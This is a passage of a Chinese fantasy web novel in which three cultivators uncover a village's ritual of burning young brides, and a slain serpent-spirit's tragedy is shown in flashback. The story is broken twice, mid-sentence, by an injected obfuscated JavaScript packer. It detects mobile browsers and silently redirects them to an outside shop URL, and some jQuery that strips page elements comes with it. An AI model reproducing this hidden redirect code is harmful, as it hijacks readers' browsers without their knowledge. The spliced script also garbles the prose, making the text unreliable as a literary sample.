她转身离开,布衣的身影很快消失在桃林深处,就像从未出现过。 三人回到海边——不是什刹海,而是桃花村外的那条小溪汇入的一片小湖泊。月光洒在湖面上,波光粼粼,像是撒了一层碎银。 九如拿出鳞片,对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17109770|195842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着月亮,默念“乌禾”。 一秒,两秒,十秒。 鳞片没有任何反应。 白砚疑惑:“嗯?这不会是人家糊弄小姑娘的吧?” 烈风煌从他手中接过鳞片,仔细端详。她将鳞片举到月光下,另一只手掐了个诀,指尖泛起淡淡的金色光芒。光芒在鳞片上扫过,鳞片表面那些复杂的纹路突然亮了起来,发出幽幽的绿光。 “这鳞片带着精血。”烈风煌说,语气笃定,“很明显是从身上拔掉的,而且拔的时候很痛苦,血液渗透进了鳞片的纹理里。” 她放下鳞片,眉头微皱:“如果没有反应,要么是鳞片主人换了外形,要么就是死了。” 九如愣住:“换了外形?” “哦,你可以理解为妖族之间的蜕化。”烈风煌解释道,手指在空中画了个圈,“有些虫蛇类的妖族,会经历几次蜕变。每次蜕变都会褪去旧的躯壳,长出新的。一旦旧躯壳被丢弃,就和本体失去了联系。这枚鳞片如果是从旧躯壳上取下的,那就只是一片普通的鳞片,不会有任何感应。” 她顿了顿,补充道:“当然,也可能是鳞片的主人已经死了。死去的妖族,鳞片上的精血会逐渐消散,最后变成普通的装饰品。” 九如盯着那枚鳞片,墨绿色的表面在月光下泛着冷光,那些复杂的纹路像是某种古老的文字,又像是某种神秘的图腾。 “也就是说,”他缓缓道,“这个人要么死了,要么他不是人。” 白砚和烈风煌都沉默了。 月光下,湖泊的水面突然荡起涟漪。不是风吹的,而是从水底深处涌上来的涟漪,一圈圈扩散开,越来越大。 九如下意识握紧了承影剑。白砚也做好了战斗准备,双手结印,周身泛起淡淡的白色光芒。烈风煌将弯刀握在手中,眼睛紧盯着湖面。 涟漪中心,水开始旋转,形成一个漩涡。漩涡越来越大,越来越深,最后从漩涡中心,缓缓升起一样东西。 不是人,不是妖。 是一具棺材。 木质的棺材,漆成黑色,表面没有任何装饰,朴素得近乎简陋。棺材随着漩涡缓缓上升,最后浮在水面上,随着波浪轻轻晃动。 三人对视一眼,都从对方眼中看到了震惊。 棺材盖缓缓滑开。 没有尸体,没有骸骨。 棺材里躺着的,是一幅画。 画卷缓缓展开,在月光下显露出画面—— 是一个少女。 布衣,双髻,弯弯的眼睛,清秀的面容。 正是刚才那个送他们鳞片的少女。 但画中的她,穿着大红的嫁衣,头戴凤冠,脸上画着精致的妆容,嘴角带着温柔的笑意。她坐在一间布置得喜气洋洋的房间里,手中拿着一方红盖头,正准备盖上。 而在她身后,镜子里倒映出的,不是她的脸。 是一张扭曲的、满是皱纹的、苍老得不成样子的脸。 画的右下角,有一行小字,用朱砂写成,在月光下红得刺眼: “桃花为聘,月为媒,百年好合,永世不离。” 落款是—— 陶氏宗族,敬上。 日期:甲子年三月初三。 九如的心脏猛地一跳。 甲子年三月初三,那是……六十年前。 画中的少女,穿着六十年前的嫁衣。 而刚才那个少女,分明只有十五六岁。 “这……”白砚的声音有些颤抖,“这是怎么回事?” 烈风煌盯着那幅画,脸色变得异常难看:“桃花为聘,月为媒……这是‘桃花嫁’的仪式。我听说过,在一些古老的村落里,会选出一个少女,嫁给山神或者河神,以换取村子的平安。但那种仪式,新娘是要……” 她没说完,但九如明白了。 新娘是要死的。 要么活埋,要么沉塘,要么烧死,用生命完成这场“人神联姻”。 而画中的少女,穿着六十年前的嫁衣。刚才那个少女,说她定了亲,此生不能出村子。 “她不知道。”九如喃喃道,“她不知道自己要嫁的是什么。” 棺材继续上浮,更多的画从棺材中飘出,一幅幅展开,悬浮在水面上空。 第二幅画:同样的少女,同样的嫁衣,但这次她站在一片桃林中,周围是载歌载舞的村民。她的脸上带着羞涩的笑容,眼神清澈而期待。 第三幅画:少女被绑在桃树下,周围的村民手持火把,表情狂热。少女的脸上是惊恐和绝望,张大嘴巴像是在尖叫,但画中没有声音。 第四幅画:一具焦黑的尸体躺在桃树下,周围的桃花开得正艳,粉色的花瓣落在焦尸上,形成诡异的对比。 第五幅画:六十年后,同样的桃林,同样的村落,又一个少女穿着嫁衣,站在同样的位置。她的脸,和六十年前的少女一模一样。 所有画的右下角,都有那行字: “桃花为聘,月为媒,百年好合,永世不离。” 落款都是:陶氏宗族,敬上。 日期分别是:甲子年、乙丑年、丙寅年……每六十年一次,从未间断。 最后一幅画,是空的。 画框已经准备好,颜料已经调好,画笔悬在空中。 只等有人,填上那张脸。 而那张脸,九如刚刚见过。 弯弯的眼睛,清秀的面容,羞涩的笑容。 那个说“我已经拥有幸福了”的少女。 九如握紧了拳头,指甲深深陷进掌心。 他终于明白,这个村子为什么这么安静,为什么村民的眼神那么麻木,为什么陶村长要隐瞒。 因为每隔六十年,他们就要献祭一个少女。 用她的生命,换取村子的“平安”。 用她的死亡,维持这片桃林的“繁盛”。 而羊儿,那个痴傻的女孩,那个被做成傀儡的女孩,她的“特殊”,她的“命苦”,也许正是因为她本来也是祭品之一——只是出了某种意外,她逃走了,或者被“救”走了。 被谁救走了? 乌禾?那个从海边来的、带来珠宝的、可能不是人的存在? 九如低头看着手中的鳞片,墨绿色的表面在月光下泛着冷光。 他忽然知道,接下来该做什么了。 “回去。”他说,声音冰冷而坚定,“回村子。” 白砚和烈风煌看向他。 “那个女孩,”九如说,“她不能成为下一幅画。” 月光下,桃林深处,隐约传来唢呐的声音。 喜庆的,欢快的,在寂静的夜里显得格外刺耳。 婚礼,要开始了。 而新娘,还不知道自己要嫁的,是死神。 6. 什刹诡海桃母劫(三) 村子已经换了装束。 原本素净的桃花林,此刻挂满了艳红的花嫁布。红布在粉色的桃花间飘扬,色彩交织出一种既喜庆又诡异的景象——像是婚礼,又像是葬礼。红布上绣着金色的喜字,在风中猎猎作响,仿佛无数双眼睛在窥视。 三人穿梭在桃林间,每一步都踩在厚厚落花上,发出细碎的声响。 烈风煌挥走一片飘到眼前的桃花,眉头紧锁:“我有种不好的预感。这鳞片的主人,怕是已经死了。” 白砚脚步微顿:“细说。” “妖族很看重自己身上的甲片。”烈风煌踏过一枝低垂的花枝,黄衣在红布与桃花间格外醒目,“特别是蛟龙之属,每一片鳞都是灵力所聚,是身份的象征。乌禾既然把这枚鳞片送给那个姑娘,说明他看重她——看重到愿意用自己的鳞片作为信物,承诺只要她想,随时可以找到他。” 她停下脚步,转身看向九如手中的鳞片:“但我们召唤来的只是他留下的线索——那幅画,那口棺材。什么情况下,他会留下这么重要的线索却不现身?难道他不怕鳞片遗失,或落到别人手中?” 九如接话道:“除非他自身已经遇难,情急之下只能将线索留下。” 他抽出承影剑,青色的剑身在红与粉的映衬下泛着冷光。没有犹豫,一剑挥出,剑气如虹,劈开前方茂密的桃林。枝叶纷飞,花瓣如雨,露出了一条通往村中心的小径。 “怕是他接走羊儿的时候,就已经遇害了。”九如的声音低沉,“而何翠芳——那个所谓的母亲——恐怕也不是什么苦命人。” 三人加快脚步。穿过最后一片桃林,村中心的景象映入眼帘。 村民们聚集在一处,不是三三两两,而是整整齐齐,围成一个巨大的圆圈。所有人都穿着白衣——不是丧服那种惨白,而是一种质地粗糙、未经染色的本白色。在满眼的红与粉中,这一片白色显得格外扎眼。 圆圈中心是一顶巨大的花轿。 轿子不是常见的红色,而是黑色——通体漆黑,像是用最深的夜色染成。轿身上挂满了红色的绸带,每一条绸带末端都系着一个小小的铃铛,在风中叮当作响,清脆却刺耳。 轿子上坐着一个少女。 一身黑纱,从头到脚笼罩得严严实实,连眼睛都蒙着一条两指宽的黑布。只有鬓边戴着一朵红花——不是桃花,而是真正的、血一样红的花,在黑色中绽放,妖冶得令人心颤。 村民们察觉到外人的到来,纷纷转过脸。 九如倒吸一口气。 每个人的脸上,都戴着一个白色面具。 面具很简陋,就是用白纸糊成,再用红色的颜料在眼睛的部位画了两个很大的黑洞——不是眼眶的形状,而是两个不规则的、边缘粗糙的圆形,像两张张开等待吞噬的血口。 面具下方,是村民们真正的眼睛。但那些眼神空洞、麻木,透过面具上的黑洞看过来时,给人一种毛骨悚然的感觉——仿佛那些面具才是真正的脸,而面具下的,只是承载面具的躯壳。 空气刹那凝固。 没有人出声,没有动作,只有无声的凝视。几十双眼睛透过面具上的黑洞,死死盯着三个不速之客。风声停了,铃铛声停了,连呼吸声都仿佛被抽走了。 烈风煌的手按在腰间,一点蓝光在指尖闪过,那是她弯刀出鞘的前兆。 白砚双手已经掐诀,周身泛起淡淡的白色光晕,灵力在经脉中奔涌,随时准备发起攻击。 寂静被打破。 人群分开一条路,一个老者缓缓走出。 是陶村长。 只有他没戴面具。那张布满皱纹的脸上没有任何表情,平静得如同深潭的水面。他拄着桃木拐杖,步伐缓慢但稳健,走到三人面前,停下。 “三位回来,可是落了什么东西?”他的声音也很平静,听不出情绪。 “锵——” 承影剑出鞘的声音划破寂静。 九如拔剑,剑光如雪,在红与白之间闪过一道刺目的白光。所有村民——即便是隔着面具——都能感觉到那股凛冽的剑气,寒毛倒竖,下意识后退了半步。 “你们用别人的生命换平安,”九如的声音冰冷,每个字都像淬了冰的刀,“良心不亏吗?” 陶村长一脸莫名,那表情真实得令人怀疑:“这位客人,我们好心招待你们,你们为何不识好歹,要干涉我们的家事?” “家事?”九如剑指众人,剑气激荡,周围的桃花簌簌落下,“众生皆平等,这世上没有任何人有资格去决定一个人的生死。这不是你们的家事——将那个女孩放了!” 陶村长机械地勾起嘴角,那笑容僵硬而诡异:“哦?你是什么人?又有什么资格来审判?” 话音未落,九如动了。 一剑挥出,不是劈向陶村长,而是斩向那些围成圆圈的村民。剑气如浪,席卷而过,前方的村民立刻倒了一片——但他们身上没有伤口,没有血迹,只是被剑气掀翻在地,狼狈不堪。 有些人爬起来,面具下的眼睛里开始出现恐惧,疯狂向后蜷缩,想要逃离。 “我叫九如,”九如的声音在剑气激荡中清晰传来,“你看我有没有资格。” 说完,人已经快到看不见。 他化作一道红色的残影,在白衣村民间穿梭。剑光过处,白布被斩成碎片,头发丝掉了一地,面具被挑飞,露出下面一张张惊恐的脸。但他偏偏没有伤任何人——每一剑都精准地斩断衣物、发带、面具,却连皮肤都没有划破。 这是一种威慑,也是一种宣告:我有能力杀你们,但我选择不杀。 十几个呼吸后,九如撤招,落回陶村长面前。他微微喘息,但眼神锐利如剑:“放了她。你们遇到的困境,我们来解决。” 周围一片狼藉。村民们倒在地上,衣衫破碎,面具散落,露出真实的面孔——有老有少,有男有女,每一张脸上都写满了惊恐和茫然。他们看着九如,又看向陶村长,不知所措。 陶村长却依旧平静。他环顾四周,看着那些狼狈的村民,脸上的表情没有丝毫变化。他转过头,看向九如,声音平淡得可怕:“放了她?我们都会死。” 他顿了顿,缓缓道:“这是祖规,上百年都这么传承。你若要救她,那就将我们都杀了吧。” 这话说得轻描淡写,却重如千钧。 花轿上的少女突然出声:“不要伤害我的家人。” 声音很轻,透过黑纱传出来,带着少女特有的清甜,却又有着与年龄不符的冷静。 烈风煌上前一步:“你知道他们要让你去做什么吗?他们根本——” “我知道。”少女打断她,声音依旧平静,“谢谢你们,请你们离开吧。” 九如眉头紧锁,上前一步:“我们可以帮助你们的。用人命换来的一时安定根本无法长久,我们有办法——” “有什么办法?”陶村长突然开口,声音陡然提高,“你们对我们了解多少?仅凭一星半点的听闻和推测就对我们下判决?你能做什么?你又有什么能力做什么?” 他的声音里终于有了一丝情绪——不是愤怒,而是一种深沉的、积压已久的疲惫和讥讽。 烈风煌被激怒了:“你这人怎么这么不识好歹!你们用错误的方式还有理了?!人命在你们眼里算什么?!” “请问,”陶村长转过头,那双苍老的眼睛直视烈风煌,“你们养她了吗?给她吃喝,给她住处,给她还算不错的生活了吗?” 烈风煌卡壳了。 “这里出生的所有女孩,”陶村长缓缓道,声音又恢复了平静,“都是我们从一出生就悉心照料,给上村子最好的生活,让她们舒服长大,从未让她们受过苦,受过累。” 他顿了顿,目光扫过那些倒在地上的村民:“如今到了她们回报村子的时候。如果她们不献身,那就要嫁给别的男人,要伺候吃穿用度,要侍奉公婆,未来有吃不尽的苦头。我将她们的生命结束在最美最幸福的时刻,难道这不是恩赐吗?” 九如握着剑的手微微颤抖。 他经历过无数次死亡,见过无数人性之恶,但这样堂而皇之、理直气壮地将谋杀粉饰成“恩赐”的,他还是第一次见。 花轿上的少女伏低身子,黑纱随着动作轻轻晃动:“我感谢村长给我的最好的结局。你们的好意心领了,但事实不是你们想的那样。请你们离开吧。” 烈风煌:“……真是小刀拉屁股,开了眼了。居然还有杀人如此堂而皇之的,找死找得这么积极的。” 白砚:“…………” 他也是头一次见这么美丽的女子说这么粗鄙的话。 九如还想说什么,却被烈风煌一把拦住。她抓着九如的手臂,用力一拉:“行,既然是你自己选择的,那你就认。我们走。” 说完,她拽着九如,旋身飞起,几个起落就消失在桃林深处。 白砚左右看了看,那些村民已经重新聚拢,重新戴上面具——虽然有些面具已经破损,但无人理会。他们重新围成圆圈,继续那诡异的仪式。 他咬了咬牙,转身跟上烈风煌和九如。 三人怀着不同的心情走出桃花村。九如沉默了好久,直到完全看不见那片桃林,才开口问:“为什么?” 他的声音很轻,带着不解和茫然。 烈风煌松开他,在一块岩石上坐下,从腰间解下水囊,仰头灌了一大口。她抹了抹嘴,才说:“你拦不住一个一心要找死的人。” 她顿了顿,苦笑:“怪不得她那么爽快将鳞片给你了。她早就做好了决定——赴死的决定。” 白砚在一旁嘀咕:“女人果然好麻烦。” “当——” 头顶一痛。他下意识捂住脑袋,抬头,一双明亮的眼睛已经怼在眼前。烈风煌不知何时出现在他面前,弯着腰,脸凑得极近,鼻尖几乎要碰到他的鼻尖。 “当着本人吐槽,”烈风煌弯起眼睫,眼里却没有一丝笑意,“你还是活得太顺了。” 白砚屏住呼吸,能闻到她身上淡淡的血腥味和桃花香混合的气息。他不自在地撇过脑袋,耳根微微发红:“又没说你。” 烈风煌轻哼一声,直起身,不再理他。 九如一声不吭,转身走向海边——不是什刹海,而是桃花村外的那片湖泊。月光下,湖水泛着粼粼波光,那口黑色的棺材已经沉入水底,水面恢复了平静。 “做什么?”烈风煌追过去。 九如头也不回:“我要找到乌禾的尸体。既然他留下了线索,那么他肯定有解决的办法。” “那他为什么没解决?”烈风煌问。 白砚接话道:“他解决了。他救走了羊儿啊。” 话音落下,三人都是一愣。 对啊,乌禾救走了羊儿。他打破了桃花村六十年的循环,救出了一个本应成为祭品的少女。他做到了——虽然付出了代价,但他确实改变了什么。 九如突然想到一个可能。 他猛地转身,一把抓住烈风煌的肩膀:“羊儿被救走了,但何翠芳呢?那个‘母亲’呢?她后来怎么样了?” 烈风煌被他抓得生疼,皱眉道:“陶村长说,她被接走了。” “被谁接走的?”九如追问,“乌禾已经死了——如果我们推测没错的话。那么来接走何翠芳的‘两个人’,是谁?” 白砚也反应过来了:“难道是……” “回什刹海。”九如松开烈风煌,转身就走,“马上!” 三人连夜赶回什刹海。沙漠的夜晚寒冷刺骨,但他们的心更冷。 再次来到那座巨大的石碑前,月光下的石碑显得更加阴森恐怖。碑身上的符文仿佛在流动,那些浮雕的人脸似乎在无声地尖叫。 石碑基座下,那只巨龟依旧被压在那里。女人的脸,黑洞洞的眼睛,嘴角那抹诡异的微笑。 九如走到水边,从怀中掏出那枚鳞片。 墨绿色的鳞片在月光下泛着幽光,边缘那一圈金色的血迹仿佛在燃烧。他握紧鳞片,深吸一口气,然后用力一掷—— 鳞片划过一道弧线,准确地击中了巨龟眉心的位置。 “当——” 清脆的撞击声。 时间仿佛静止了一瞬。 然后,巨龟猛地睁开了眼睛——不是之前那种缓缓睁开,而是骤然瞪大,那双黑洞洞的眼眶里,幽蓝色的光芒剧烈闪烁,几乎要喷薄而出。 “啊——!!!” 一个凄厉的、不似人声的尖叫从巨龟口中发出,响彻整个什刹海。水面剧烈震荡,掀起数丈高的浪涛。 紧接着,无数记忆的泡泡从巨龟的脑海中涌出。 不是文字,不是语言,而是画面——鲜活的、流动的、带着强烈情感的画面,像一场无声的电影,在三人面前展开。 第一个画面: 一个少女,十五六岁,穿着粗布衣裙,梳着双髻。她坐在桃树下,仰头看着满树桃花,脸上带着羞涩而期待的笑容。阳光透过花间洒在她脸上,美好得如同梦境。 那是何翠芳。 年轻时的何翠芳。 画面流转:少女被村里人娇养长大,吃最好的,穿最好的,不用劳作,不用操心。她像一朵被精心呵护的花,在桃花村里无忧无虑地生长。 直到十五岁那年,她知道了自己的命运——成为祭品,嫁给“山神”,以换取村子六十年的平安。 她反抗了。 她给全村人下了秘药——不是毒药,只是让人沉睡的草药。然后她逃出了村子,逃进了深山。 画面切换:她在深山里遇到了一个男人。一个猎人,健壮,英俊,对她一见钟情。男人带她回了自己的家,一个简陋但温暖的小屋。 一开始,男人对她很好。给她买新衣服,给她做可口的饭菜,把她当公主一样宠着。何翠芳以为自己找到了幸福,以为自己逃离了命运的魔爪。 但好景不长。 男人很快发现,这个美丽的少女什么都不会——不会做饭,不会洗衣,不会操持家务。她就像一尊精美的瓷娃娃,只能看,不能用。 嫌恶开始滋生。男人开始骂她,说她是个废物,说她除了脸一无是处。何翠芳哭着辩解,说自己在村里从来不用做这些。男人冷笑:“那你回你的村子去啊!” 何翠芳无路可走。她不敢回村子——回去就是死。她只能忍受,学着做那些从未做过的事,手上磨出了水泡,身上留下了烫伤。 但她还是做不好。 终于有一天,男人喝醉了,打了她。一巴掌扇在她脸上,将她打倒在地。何翠芳爬起来,看着镜子里红肿的脸,突然明白了:自己无处可去。 她逃回了桃花村。 画面里,陶村长站在村口,看着狼狈不堪的她,沉默了很久。最后,他叹了口气:“回来吧。” 村民们没有责怪她。他们接纳了她,依旧给她最好的生活。只是眼神里多了些什么——怜悯?嘲讽?还是……一种“早就知道会这样”的了然? 何翠芳有了身孕。她不知道孩子是谁的——是那个猎人的?还是逃出村子时,在山里遇到的某个陌生人的?她不知道,也不想知道。 村长让她生下来。 “孩子是无辜的。”他说。 村民们对她更好了,比以往任何时候都好。好吃好喝地供着,嘘寒问暖,仿佛她是什么珍贵的宝物。 何翠芳感到了久违的温暖。她以为自己终于被接纳了,以为村子原谅了她的逃离。 她生下了女儿,取名羊儿。 羊儿生得极为漂亮,一双猫儿似的大眼睛,小巧的嘴巴,皮肤皙白如玉。所有人都夸这孩子长得好看,将来一定是个美人。 可惜,羊儿是个傻子。 三岁了还不会说话,五岁了还分不清什么能吃,捡到什么都往嘴里塞。经常在地里滚泥巴,把自己弄得脏兮兮的。何翠芳耐心地教,一遍又一遍,但羊儿学不会。 一开始,村民们还帮忙,还安慰:“孩子还小,大了就好了。” 但随着羊儿长大,情况并没有好转。十多岁了,她还是邋遢得比田里的庄稼汉都不如,不会自己穿衣,不会自己吃饭,经常一个人跑到山上,何翠芳要半夜去找。 村长来看过几次,摇了摇头,没说什么。但何翠芳从他的眼神里读出了失望。 村民们的态度也开始淡下来。送来的食物变少了,问候变少了,眼神里那种“早就知道会这样”的了然,变成了明晃晃的嫌弃。 何翠芳一个人带着痴傻的女儿,还要照顾卧病在床的婆婆,日子一天比一天难熬。她熬不住了,等了十几年,都没能等到女儿“懂事”。 她去找村长。 “让羊儿去献祭吧。”她说,声音平静得可怕,“她这样的,活着也是受罪。” 村长看着她,许久,缓缓摇头:“她太脏了。神看不上。” 一句话,断绝了最后的路。 何翠芳绝望了。 画面切换:她带着羊儿来到海边——什刹海。她将女儿丢在沙滩上,转身离开。羊儿在后面哭喊,但她没有回头。 她想,让海带走这个累赘吧。或者,让海里的妖怪带走她。无论如何,都比现在这样好。 第二天,她鬼使神差地又来到海边。 羊儿还在。 不仅还在,身边还多了一个男人。 那男子一身华服,身上挂满了珠宝,在阳光下闪闪发光。他正温柔地给羊儿梳头——羊儿安静地坐着,任由他摆布,脸上带着一种何翠芳从未见过的、纯真而依赖的笑容。 何翠芳愣住了。 男子抬起头,看到了她。他站起身,微微欠身:“您是羊儿的母亲吧?我叫乌禾。” 他的声音温和有礼,眼神清澈。何翠芳看着他身上的珠宝,又看了看女儿干净的脸、整齐的头发,瞬间改变了态度。 她笑了,笑得温柔而热情:“哎呀,这位公子,多谢您照顾我家羊儿。快,快请到家里坐坐。” 画面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17109771|195842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 流转:乌禾跟着她们回了桃花村。他带来了更多的珠宝,分给村民们。金光闪闪的项链,晶莹剔透的玉佩,成串的珍珠……村民们眼睛都直了。 陶村长看着那些珠宝,又看了看乌禾,最终点了点头:“既然羊儿找到了归宿,那就让她去吧。” 何翠芳高兴极了。她终于甩掉了这个累赘,还得到了这么多财富。她催促着乌禾赶紧带羊儿走,生怕他反悔。 乌禾带着羊儿离开了。何翠芳过上了从未有过的好日子——住上了新房子,穿上了绫罗绸缎,吃上了山珍海味。她以为自己终于苦尽甘来。 半个月后,乌禾又来了。这次,他带来了两个人——说是来接何翠芳去享福的。 何翠芳毫不犹豫地答应了。她收拾了细软,跟着那两个人离开了桃花村。 她来到了乌禾的“家”。 不是陆地上的房屋,而是海底的宫殿。 画面里,一座宏伟的水下宫殿矗立在深海之中。宫殿是用珊瑚和珍珠建造的,散发着柔和的光芒。殿内富丽堂皇,到处是奇珍异宝,比何翠芳想象中最奢华的地方还要奢华百倍。 乌禾是条蛟妖。 他即将修炼成仙,他的职责是守护天柱——那是一根巨大的石柱,矗立在宫殿深处,柱身上刻满了古老的符文,散发着神圣而威严的气息。 乌禾叮嘱何翠芳:“天柱界碑不能去。那里的结界会排斥凡人,靠近会有危险。” 何翠芳表面答应,心里却不以为然。 她在这个宫殿里住了下来。羊儿和乌禾对她很好,把她当真正的母亲侍奉。但她心里总有些不舒服——凭什么?凭什么一个傻子能找到这样的归宿,而自己聪明一世,却要受那么多苦? 她开始偷偷观察乌禾。 她发现,乌禾每隔一段时间就要去天柱那里,似乎在检查什么。她还发现,乌禾看羊儿的眼神,温柔得能滴出水来。那不是看一个痴傻之人的眼神,那是看挚爱之人的眼神。 何翠芳心里那股不舒服越来越强烈。 终于有一天,她忍不住了。她趁乌禾外出,偷偷去了天柱那里。 她想看看,那里到底有什么秘密。 她靠近了天柱。柱身上的符文突然亮起,一道无形的屏障将她弹开。她摔在地上,浑身的骨头像是碎了一样剧痛。 羊儿发现了她,哭着跑去找乌禾。 乌禾回来了。他看着倒在地上的何翠芳,又看了看哭泣的羊儿,叹了口气。 “翠姨,您为什么要去那里?”他的声音里没有责怪,只有无奈。 何翠芳疼得说不出话,只能呻吟。 乌禾沉默了很久。最终,他伸出手,按在何翠芳的胸口。一股温暖的力量涌入她的身体,碎裂的骨头开始愈合。 但乌禾的脸色越来越苍白。 他取出了自己的妖骨——那是一截晶莹剔透的、散发着淡淡金光的骨头。他将妖骨融入了何翠芳的身体,替换了她碎裂的骨头。 “这样,您就能痊愈了。”乌禾说,声音虚弱,“但我要暂时失去法力,需要休养一段时间。” 就在这时,一只纸鹤飞进了宫殿。纸鹤嘴里衔着一片桃花花瓣,落在乌禾手中。 是桃花村那个布衣少女的传信。 信上说,村里又要举行“桃花嫁”了,这次的新娘,是她的姐姐。 乌禾脸色大变。他看了看虚弱的自己,又看了看羊儿担忧的眼神,咬了咬牙:“我得去一趟。” 他离开了宫殿,去了桃花村。 画面切换:乌禾在桃花村发现了嫁新娘的秘密。他想阻止,但失去了妖骨的他,法力尽失,连普通人都不如。 他被村民们发现了。 村民们看着他——这个曾经带来珠宝的“贵人”,现在虚弱得连站都站不稳。他们没有感激,没有敬畏,只有一种被冒犯的愤怒。 “他想破坏仪式!”有人喊道。 “杀了他!”有人附和。 锄头,镰刀,木棍……村民们举起了手中的农具,向乌禾冲去。 乌禾奋力抵抗,但双拳难敌四手。他被锄头砍中后背,被镰刀划破手臂,被木棍打中脑袋。鲜血染红了他的华服,染红了他带来的珠宝。 他拼死逃出了桃花村,逃回了海底宫殿。 画面里,乌禾倒在宫殿的地上,浑身是血,奄奄一息。羊儿扑在他身上,哭得撕心裂肺。 何翠芳站在一旁,看着这一幕,脸上没有任何表情。 乌禾用最后的力量,对羊儿说:“我……我要蜕变了。失去妖骨,我无法维持蛟身,要退化成蛇……但需要你的精血相助……” 羊儿听不懂,但她拼命点头,只要能救乌禾,她什么都愿意。 乌禾开始蜕变。他的身体开始缩小,蛟鳞一片片脱落,露出下面新生的、柔软的蛇皮。 就在这时,何翠芳动了。 她看着女儿抱着一条即将退化成蛇的蛟,心里那股不舒服终于爆发了——凭什么?凭什么一个傻子,能拥有这样的爱情?凭什么自己聪明一世,却要孤独终老? 她走到贝壳桌前,搬起了桌上那个巨大的乌龟壳——那是乌禾收藏的古物,据说有镇压邪祟的作用。 她举起龟壳,对准乌禾的七寸,狠狠砸了下去! “砰——!!!” 一声闷响。 乌禾的身体剧烈抽搐,新生的蛇皮瞬间破裂,鲜血喷涌而出。他瞪大了眼睛,看向何翠芳,眼中满是不可置信。 就差一点。 就差一点,他就能完成蜕变,退化成蛇。虽然失去了蛟的力量,但至少能活。 现在,一切都完了。 羊儿发出一声凄厉的尖叫:“啊——!!!” 那是她人生第一次,发出如此清晰、如此痛苦的声音。 何翠芳愣住了。她看着女儿,看着女儿眼中那种从未有过的、清晰而强烈的情绪——不是痴傻,不是茫然,而是纯粹的、撕心裂肺的痛苦和愤怒。 “孩子,”何翠芳喃喃道,扔掉了手中的龟壳,“我是在救你啊!他是个妖怪!他会害死你的!” 羊儿抬起头,看着母亲。她的眼睛里没有了往日的混沌,取而代之的是一种冰冷而清醒的光芒。 她说出了人生第一句完整的话:“你每次都说为我好,从来没问过我要什么。” 声音清晰,字正腔圆。 何翠芳惊呆了。 “我是你娘啊!”她喊道,“我能害你吗?!” “你让我失去了幸福的能力。”羊儿一字一句地说,每个字都像刀子,割在何翠芳心上,“你让我过得不如人。你既然没把我当人看,为什么不一开始就杀了我?” 何翠芳张了张嘴,却发现自己发不出声音。 羊儿低下头,看着怀中奄奄一息的乌禾。他还在挣扎,还在试图活下去,但生命的气息正在迅速流逝。 羊儿笑了。 那笑容凄美而决绝。 她低下头,掰开乌禾的嘴巴——那里,两颗尖锐的毒牙已经因为蜕变而露出。她毫不犹豫地,将自己的喉咙对准毒牙,狠狠刺了下去! “噗——” 毒牙刺穿喉咙,鲜血喷溅。 羊儿的身体软倒在乌禾身上,两人的血混在一起,染红了宫殿的地面。 何翠芳呆立当场。 她看着女儿,看着女儿的尸体,看着那个她一直认为是累赘的女儿,为了一个妖怪,选择了死亡。 她疯了。 她开始在宫殿里乱砸,把能砸的东西都砸了。珠宝被摔碎,珊瑚被折断,珍珠滚落一地。她尖叫,嘶吼,像一头失去理智的野兽。 最后,她逃出了宫殿。 她游到了什刹海,游到了那座石碑前。因为她身上有乌禾的妖骨——有守护蛟的血脉气息,结界没有排斥她,让她进去了。 但此地不容凡人之躯。 她刚进入石碑的范围,就感觉到一股巨大的压力。那不是物理的压力,而是一种规则层面的排斥——凡人,不可踏足神之领域。 她的身体开始扭曲,骨骼发出不堪重负的呻吟。她想逃,但已经来不及了。 石碑的力量将她强行挤压,压进了那只巨龟的体内。 从此,何翠芳代替乌禾,被镇压在石碑之下,成为什刹海的守门人。 也成为了她自己命运的囚徒。 记忆的泡泡破碎了。 画面消失,什刹海恢复了平静。巨龟——或者说,何翠芳——闭上了眼睛,黑洞洞的眼眶里,幽蓝色的光芒黯淡下去。 她不再尖叫,不再挣扎,只是静静地趴在那里,仿佛已经接受了这永恒的囚禁。 九如三人站在水边,久久无言。 月光洒在墨绿色的水面上,波光粼粼。远处的桃花村,隐约还能听到喜庆的唢呐声。 婚礼,还在继续。 而新娘,还在等待着自己的“恩赐”。 九如握紧了承影剑。 7. 什刹诡海桃母劫(四) 烈风煌按住九如的手臂,力道大得几乎要将他的骨头捏碎。 “你要做什么?”她的声音很冷,冷得像是什刹海深处的水。 九如想甩开她,但那只手像铁钳一样牢牢箍着他。他转过头,对上烈风煌的眼睛——那双总是明亮如小鹿的眼睛,此刻却沉静得像深潭,里面映着他愤怒而焦躁的脸。 “你知道的!”九如低吼,“放开!” 烈风煌不但没放,反而加重了力道。她的指甲几乎要嵌进他的皮肉里:“到现在你还不明白吗?你改变不了任何事。” “不试试怎么知道?!” “试?”烈风煌嗤笑一声,那笑声里满是嘲讽和疲惫,“九如,你经历过多少次重生?见过多少生死?难道还不明白——有些路,是人家自己选的。我们就算强行改变了开头,也改不了结局。” 她顿了顿,声音低了下去:“我们就算能救下一个姑娘,那之后呢?村子里的其他人呢?他们还会选出下一个祭品,下一个,再下一个。除非你把他们都杀了,否则这个循环永远不会停止。” 九如的眼睛赤红:“连一个人都救不了,还管什么其他人!我既然看见了,就不会坐视——让开!” 